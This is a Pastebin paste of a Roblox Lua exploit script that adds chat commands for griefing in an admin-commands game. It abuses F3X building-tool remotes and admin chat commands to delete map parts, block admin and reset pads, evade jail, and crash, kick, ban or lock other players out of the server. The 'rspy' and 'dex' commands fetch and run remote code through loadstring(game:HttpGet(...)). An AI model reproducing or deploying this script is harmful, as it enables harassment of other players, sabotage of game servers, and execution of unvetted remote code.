Advertisement
Prokri43

Untitled

Jul 18th, 2024
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.83 KB | None | 0 0
  1. local Players = game:GetService("Players")
  2. local RunService = game:GetService("RunService")
  3. local slock = false
  4. local antijail2 = false
  5. tpAdminPadEnabled = true
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13. local ResetPads = game.Workspace.SecureParts.ResetPads.ClickDetector
  14.  
  15. local function DestroyJail(part)
  16. if part:IsA("Model") and part.Name == game.Players.LocalPlayer.Name.."_ADONISJAIL" then
  17. game:GetService("Players"):Chat(":free me")
  18. end
  19. end
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27. local function Perm()
  28. if ResetPads.MaxActivationDistance == 0 then
  29.  
  30. local OriginalPosition = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
  31. wait(0.3)
  32.  
  33. local v = 13.6
  34. for i = 1, 9, 1 do
  35. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(v, 28.3, 106.4)
  36. v = v - 4
  37. wait(0.01)
  38. end
  39.  
  40. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(OriginalPosition)
  41. end
  42. end
  43.  
  44.  
  45. function runCmd(cmd)
  46. Players:Chat(cmd)
  47. end
  48.  
  49. local function RemoveFromTable(fromTable, toRemove)
  50. local result = fromTable
  51. for i, object in ipairs(result) do
  52. if object == toRemove then
  53. table.remove(result, i)
  54. end
  55. end
  56. return result
  57. end
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64. local function PlayerDied()
  65. local Position = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  66. if Players.LocalPlayer.Character:FindFirstChild("Humanoid") then
  67.  
  68. Players:Chat(":re")
  69. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Vector3.new(Position)
  70. end
  71. end
  72.  
  73.  
  74.  
  75.  
  76.  
  77. local x = 13.6
  78. local pos = Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  79. wait(0.3)
  80. for i = 1, 9, 1 do
  81.  
  82. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(x, 28.3, 106.4)
  83. x = x - 4
  84. wait(0.01)
  85. end
  86. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
  87. Players:WaitForChild("p4cif1edx"):WaitForChild("Backpack")
  88. local RemoteEvent = coroutine.create(function()
  89. while true do
  90. if not Players.LocalPlayer.Backpack:FindFirstChild("Folder") then
  91. Players:Chat(":F3x")
  92. Players.LocalPlayer.Backpack:WaitForChild("Folder")
  93. SyncEvent = Players.LocalPlayer.Backpack.Folder.SyncAPI.ServerEndpoint
  94.  
  95. end
  96. wait()
  97. end
  98. end)
  99. coroutine.resume(RemoteEvent)
  100.  
  101.  
  102.  
  103. local function GetParts(group)
  104. local partsList = {}
  105.  
  106. for i, part in ipairs(group) do
  107. if part.Archivable then
  108. partsList[i] = part
  109.  
  110.  
  111.  
  112.  
  113. end
  114. end
  115. return partsList
  116. end
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124. local function FindPlayer(abbreviation)
  125. if abbreviation:lower() == "me" then
  126. return Players.LocalPlayer.Name
  127. elseif abbreviation:lower() == "others" then
  128. local others = ""
  129. for _, player in ipairs(Players:GetChildren()) do
  130. if player ~= Players.LocalPlayer then
  131. if others == "" then
  132. others = player.Name
  133. else
  134. others = others .. "," .. player.Name
  135. end
  136. end
  137. end
  138. return others
  139. elseif abbreviation:lower() == "all" then
  140. local all = ""
  141. for _, player in ipairs(Players:GetChildren()) do
  142. if all == "" then
  143. all = player.Name
  144. else
  145. all = all .. "," .. player.Name
  146. end
  147. end
  148. return all
  149. elseif abbreviation:lower() == "random" then
  150. local randomPlayer = (RemoveFromTable(Players:GetChildren(), Players.LocalPlayer))[math.random(#(Players:GetChildren()) - 1)]
  151. return randomPlayer.Name
  152. else
  153. for _, player in ipairs(Players:GetChildren()) do
  154. if (player.Name):sub(1, #abbreviation):lower() == abbreviation:lower() then
  155. return player.Name
  156. elseif (player.DisplayName):sub(1, #abbreviation):lower() == abbreviation:lower() then
  157. return player.Name
  158. end
  159. end
  160. end
  161. end
  162.  
  163. local Prefix = "."
  164. local PlayerCommands = {
  165.  
  166. statue = function(playerTarget)
  167. print(playerTarget)
  168. local toUngroup = playerTarget:split(",")
  169. print(#toUngroup)
  170. for i, thing in ipairs(toUngroup) do
  171. toUngroup[i] = workspace:FindFirstChild(thing)
  172. print(thing)
  173. end
  174. SyncEvent:InvokeServer("Ungroup", toUngroup)
  175. end,
  176.  
  177.  
  178.  
  179. fkick = function(playerTarget)
  180. Players:Chat(":loadb nkickbase | :free " .. playerTarget .. " | :re " .. playerTarget .. " | :wait 5 | :tp " .. playerTarget .. " wp-namekickbase| :runc talk2 | :runc talk2")
  181. wait(1)
  182. for i=1, 5, 1 do
  183. Players:Chat(":talk others,-" .. playerTarget .." .")
  184. wait()
  185. end
  186. wait(5)
  187. Players:Chat(":unloadb nkickbase")
  188. end,
  189.  
  190. mute = function(playerTarget)
  191. if playerTarget == Players.LocalPlayer.Name then
  192. Players:Chat(":npm me You can't mute yourself.")
  193. else
  194. local command = ":r6 " .. playerTarget
  195. RunService:BindToRenderStep(playerTarget .. ":mute", 1, function()
  196. Players:Chat(command)
  197. wait(0.00000000001)
  198. end)
  199. end
  200. end,
  201.  
  202. unmute = function(playerTarget)
  203. if playerTarget == Players.LocalPlayer.Name then
  204. Players:Chat(":npm me You can't unmute yourself.")
  205. else
  206. RunService:UnbindFromRenderStep(playerTarget .. ":mute")
  207. end
  208. end,
  209.  
  210. skick = function(playerTarget)
  211. Players:Chat(":Re "..playerTarget.." | :loadb skick | :free " .. playerTarget .. " | :fview " .. playerTarget .. " me | :setgrav " .. playerTarget .. " 1000 | :speed " .. playerTarget .. " 0 | :invisible " .. playerTarget)
  212. local playerRespawned
  213. playerRespawned = workspace.ChildRemoved:Connect(function(model)
  214. if model.Name == playerTarget then
  215. local toGroup = {
  216. [1] = workspace:WaitForChild(playerTarget),
  217. [2] = workspace:WaitForChild("SkateboardPlatform")
  218. }
  219. SyncEvent:InvokeServer("CreateGroup", "Model", workspace, toGroup)
  220. repeat
  221. wait()
  222. until not workspace:FindFirstChild(playerTarget)
  223. Players:Chat(":tp " .. playerTarget .. " wp-skick")
  224. for i=1, 5, 1 do
  225. if not Players:FindFirstChild(playerTarget) then
  226. break
  227. end
  228. Players:Chat(":jump " .. playerTarget)
  229. wait(0.1)
  230. if not Players:FindFirstChild(playerTarget) then
  231. break
  232. end
  233. Players:Chat(":jump " .. playerTarget)
  234. wait(0.1)
  235. if not Players:FindFirstChild(playerTarget) then
  236. break
  237. end
  238. Players:Chat(":sit " .. playerTarget)
  239. wait(0.1)
  240. end
  241. end
  242. playerRespawned:Disconnect()
  243. end)
  244. wait(5)
  245. Players:Chat(":unloadb skick")
  246. end,
  247.  
  248.  
  249.  
  250. crash = function(playerTarget)
  251. local player = game.Players:FindFirstChild(playerTarget)
  252. game.Players:Chat(":fviewcam "..playerTarget.." crash |:fov "..playerTarget.." 0 | :chatnotify all "..playerTarget.." Has been crashed!")
  253. repeat
  254. wait()
  255. until not game.Players:FindFirstChild(playerTarget)
  256. runCmd(":unloadb ballsz")
  257. end,
  258.  
  259. ban = function(playerTarget)
  260. if playerTarget == Players.LocalPlayer.Name then
  261. Players:Chat(":npm me You can't ban yourself.")
  262. else
  263. local bannedplrs = {}
  264. local playerId = game.Players:FindFirstChild(playerTarget).UserId
  265. table.insert(bannedplrs, playerId)
  266. game.Players:Chat(":npm "..playerTarget.." You have been banned!")
  267. game.Players:Chat(":loadb nkickbase | :tp "..playerTarget.." wp-namekickbase | :runc talk2 | :fov "..playerTarget.." 80")
  268. game.Players.PlayerAdded:Connect(function(player)
  269. if table.find(bannedplrs, player.UserId) then
  270. game.Players:Chat(":npm "..playerTarget.." Your Banned from this server!")
  271. game.Players:Chat(":loadb nkickbase | :wait 5 | :tp "..playerTarget.." wp-namekickbase | :runc talk2 | :fov "..playerTarget.." 80")
  272. end
  273.  
  274. end)
  275. end
  276. end
  277.  
  278.  
  279.  
  280.  
  281.  
  282. }
  283.  
  284. local NormalCommands = {
  285. delparts = function()
  286. local partsToClear = {}
  287. for i, part in ipairs(workspace:GetDescendants()) do
  288. if pcall(function() return part["Locked"] end) then -- if locked is a property of part
  289. if not part.Locked then
  290. table.insert(partsToClear, (#partsToClear + 1), part)
  291. print(part)
  292. end
  293. else
  294. if part.ClassName == "Model" and not part.Name == "SecureParts" and part.Archivable then -- if it's a model which isn't a player character nor SecureParts
  295. table.insert(partsToClear, (#partsToClear + 1), part)
  296. print(part)
  297. end
  298. end
  299. end
  300. Players:Chat(":hpm me " .. #partsToClear .. " parts were cleared.")
  301. SyncEvent:InvokeServer("Remove", partsToClear)
  302. end,
  303. blockrpads = function()
  304. SyncEvent:InvokeServer("CreatePart", "Normal", CFrame.new(23, 25, 106), workspace)
  305. for _, part in pairs(workspace:GetChildren()) do
  306. if pcall(function() return part.Position end) then
  307. if part.CFrame == CFrame.new(23, 25, 106) then
  308. SyncEvent:InvokeServer("SetName", {part}, "ResetPadsBlock")
  309. end
  310. end
  311. end
  312. SyncEvent:InvokeServer("SyncResize", {{
  313. ["Part"] = workspace:FindFirstChild("ResetPadsBlock"),
  314. ["CFrame"] = CFrame.new(23, 25, 106),
  315. ["Size"] = Vector3.new(4.1, 0.6, 4.1)
  316. }})
  317. SyncEvent:InvokeServer("SyncMaterial", {{
  318. ["Part"] = workspace:FindFirstChild("ResetPadsBlock"),
  319. ["Transparency"] = 1
  320. }})
  321. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("ResetPadsBlock")}, true)
  322. blockedResetPads = true
  323. local resetPadsLocking = coroutine.create(function()
  324. while blockedResetPads do
  325. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("ResetPadsBlock")}, true)
  326. end
  327. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("ResetPadsBlock")}, false)
  328. end)
  329. coroutine.resume(resetPadsLocking)
  330. Players:Chat(":npm me The reset pads is blocked.")
  331. end,
  332.  
  333. unblockrpads = function()
  334. Players:Chat(":npm me Please wait until the reset pads is blocked.")
  335. blockedResetPads = false
  336. repeat
  337. wait()
  338. until not workspace:FindFirstChild("ResetPadsBlock").Locked
  339. SyncEvent:InvokeServer("Remove", {workspace:FindFirstChild("ResetPadsBlock")})
  340. Players:Chat(":npm me The reset pads is unblocked.")
  341. end,
  342.  
  343. blockadmin = function()
  344. SyncEvent:InvokeServer("CreatePart", "Normal", CFrame.new(23, 25, 106), workspace)
  345. for _, part in pairs(workspace:GetChildren()) do
  346. if pcall(function() return part.Position end) then
  347. if part.CFrame == CFrame.new(23, 25, 106) then
  348. SyncEvent:InvokeServer("SetName", {part}, "AdminBlock")
  349. end
  350. end
  351. end
  352. SyncEvent:InvokeServer("SyncResize", {{
  353. ["Part"] = workspace:FindFirstChild("AdminBlock"),
  354. ["CFrame"] = CFrame.new(-1.8, 25.05, 106.74),
  355. ["Size"] = Vector3.new(37, 4, 6)
  356. }})
  357. SyncEvent:InvokeServer("SyncMaterial", {{
  358. ["Part"] = workspace:FindFirstChild("AdminBlock"),
  359. ["Transparency"] = 0.6,
  360. ["Material"] = Enum.Material.Glass
  361. }})
  362. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("AdminBlock")}, true)
  363. blockedAdmin = true
  364. local adminLocking = coroutine.create(function()
  365. while blockedAdmin do
  366. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("AdminBlock")}, true)
  367. end
  368. SyncEvent:InvokeServer("SetLocked", {workspace:FindFirstChild("AdminBlock")}, false)
  369. end)
  370. coroutine.resume(adminLocking)
  371. Players:Chat(":npm me The admin pads are blocked.")
  372. end,
  373.  
  374. unblockadmin = function()
  375. Players:Chat(":npm me Please wait until the admin pads are unblocked...")
  376. blockedAdmin = false
  377. repeat
  378. wait()
  379. until not workspace:FindFirstChild("AdminBlock").Locked
  380. SyncEvent:InvokeServer("Remove", {workspace:FindFirstChild("AdminBlock")})
  381. Players:Chat(":npm me The admin pads are unblocked.")
  382. end,
  383.  
  384.  
  385. rj = function()
  386. runCmd("!rejoin")
  387. end,
  388.  
  389. slock = function()
  390. if slock == true then
  391. slock = false
  392. local WhiteListedPlayers = {
  393. "BrayanNGG4547",
  394. "Karen2638787800",
  395. "0lxad",
  396. "xuia0",
  397. "rolo_cool123"
  398. }
  399. game:GetService("Players"):Chat(":loadb l3 | :npm me Slock is on!")
  400.  
  401.  
  402. local function CheckWhiteList(Player)
  403. for i, whitelisted in pairs(WhiteListedPlayers) do
  404. if Player.Name ~= whitelisted then
  405. game:GetService("Players"):Chat(":npm "..Player.Name.." This server is slocked by APOLLO | :tp "..Player.Name.." wp-crash | :fov "..Player.Name.." 0")
  406.  
  407.  
  408.  
  409. end
  410. end
  411. end
  412.  
  413.  
  414.  
  415. game.Players.PlayerAdded:Connect(function(Player)
  416. CheckWhiteList(Player)
  417. end)
  418.  
  419.  
  420. else
  421. game:GetService("Players"):Chat(":unloadb crash1 | :npm me Slock is off!")
  422. slock = true
  423. end
  424.  
  425.  
  426. end,
  427.  
  428. antijail = function()
  429. if antijail2 == true then
  430. antijail2 = false
  431. runCmd(":npm me Anti-jail has been enabled!")
  432. workspace.ChildAdded:Connect(DestroyJail)
  433. end
  434. end,
  435.  
  436. perm = function()
  437. ResetPads.Changed:Connect(Perm)
  438. end,
  439. house = function()
  440. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0, 25.3, 82.992)
  441. end,
  442.  
  443. antipunish = function()
  444. Players:Chat(":npm me Anti-punish is on!")
  445. workspace.ChildRemoved:Connect(function(Model)
  446. if Model.Name == Players.LocalPlayer.Name then
  447. Players:Chat(":unpunish me")
  448. end
  449. end)
  450.  
  451. end,
  452.  
  453. shutdown = function()
  454. runCmd(":m The server shutdown because people were being annoying! | :runc pets")
  455. end,
  456.  
  457. rspy = function()
  458. loadstring(game:HttpGet("https://pastebin.com/raw/bCghX33W", true))()
  459. end,
  460.  
  461. unlock = function()
  462. for i, part in pairs(workspace.Terrain:GetChildren()) do
  463.  
  464. if part then
  465.  
  466.  
  467. local A_1 = "Remove"
  468. local A_2 = {
  469.  
  470. [1] = part
  471.  
  472. }
  473. local Event = game:GetService("Players"). p4cif1edx.Backpack.Folder.SyncAPI.ServerEndpoint
  474. Event:InvokeServer(A_1, A_2)
  475. end
  476. end
  477. end,
  478.  
  479. clean = function()
  480. Players:Chat(":free all | :re all | :chatnotifyc all 242 243 243 Server Cleaned!| :clr | :fix | :music off | :setmsg off | :clrgui all true | :f3x me")
  481.  
  482. repeat wait() until game.Players.LocalPlayer.Backpack:FindFirstChild("Building Tools")
  483. local Event = Players.LocalPlayer.Backpack.Folder.SyncAPI.ServerEndpoint
  484. Event:InvokeServer("Remove", GetParts())
  485. end,
  486.  
  487. banhammer = function()
  488. Players:Chat(":r6 | :gear me 10468797")
  489. repeat
  490. wait()
  491. until Players.LocalPlayer.Backpack:FindFirstChild("BanHammer V1.1")
  492. local banHammer = Players.LocalPlayer.Backpack:FindFirstChild("BanHammer V1.1")
  493. banHammer.Activated:Connect(function()
  494. local touchedConnection
  495. touchedConnection = banHammer.Handle.Touched:Connect(function(touchedPart)
  496. print(touchedPart.Name .. " " .. touchedPart.Parent.Name)
  497. for _, player in ipairs(Players:GetChildren()) do
  498. if touchedPart.Parent.Name == player.Name and touchedPart.Parent.Name ~= Players.LocalPlayer.Name then
  499. PlayerCommands.crash(player.Name)
  500. end
  501. end
  502. touchedConnection:Disconnect()
  503. end)
  504. end)
  505. end,
  506.  
  507. dex = function()
  508. loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
  509. end,
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519. }
  520. NormalCommands.perm()
  521.  
  522. local TargetCommands = {
  523. vcrash = function(target)
  524. local playerTarget = FindPlayer(target)
  525. game.Players:Chat(":chatnotifyc all 0 255 255 Apollo started a votekick to determine whether " .. playerTarget .. " is crashed or not!")
  526. wait(0.5)
  527. game.Players:Chat(":chatnotifyc all 0 255 255 Type .vote yes to votekick him or .vote no to not! You have 30 seconds to vote.")
  528.  
  529. local votes = 0
  530. local yesvotes = 0
  531.  
  532. for _, player in ipairs(game.Players:GetChildren()) do
  533. local voted
  534. voted = player.Chatted:Connect(function(Message)
  535. if string.sub(Message, 1, 6) == ".vote " then
  536. if string.sub(Message, 6, 8) == " no" then
  537. votes = votes + 1
  538. game.Players:Chat(":chatnotifyc all 255 0 0 " .. player.Name .. " voted no!")
  539. voted:Disconnect()
  540. elseif string.sub(Message, 6, 9) == " yes" then
  541. votes = votes + 1
  542. yesvotes = yesvotes + 1
  543. game.Players:Chat(":chatnotifyc all 0 255 0 " .. player.Name .. " voted yes!")
  544. voted:Disconnect()
  545. end
  546. end
  547. end)
  548. end
  549.  
  550. local votingCo = coroutine.create(function()
  551. Players:Chat(":hcountdown 30")
  552. repeat
  553. wait()
  554. until votes == #(game.Players:GetChildren()) or task.wait(30)
  555. if yesvotes >= (votes/2) then
  556. wait(0.5)
  557. game.Players:Chat(":chatnotifyc all 0 255 0 The majority voted yes! " .. playerTarget .. " was crashed by Apollo!")
  558. wait(0.1)
  559. PlayerCommands.skick(playerTarget)
  560. else
  561. wait(0.5)
  562. game.Players:Chat(":chatnotifyc all 255 0 0 The majority voted no!")
  563. end
  564. end)
  565. coroutine.resume(votingCo)
  566. end,
  567. }
  568.  
  569. Players.LocalPlayer.Chatted:Connect(function(Message)
  570. if string.match(Message, Prefix) then
  571. local request = (Message:split(" ")[1]:split(Prefix)[2]):lower()
  572.  
  573. if PlayerCommands[request] then
  574.  
  575. local targetPlayer = FindPlayer(Message:split(" ")[2])
  576. if targetPlayer == nil then
  577. Players:Chat(":npm me The requested player wasn't found.")
  578. else
  579. PlayerCommands[request](targetPlayer)
  580. end
  581.  
  582. elseif NormalCommands[request] then
  583. NormalCommands[request]()
  584. elseif TargetCommands[request] then
  585. local target = Message:split(" ")[2]
  586. TargetCommands[request](target)
  587.  
  588. else
  589. Players:Chat(":npm me The command '" .. request .. "' doesn't exist.")
  590. end
  591. end
  592. end)
  593.  
  594. print("Running custom commands")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement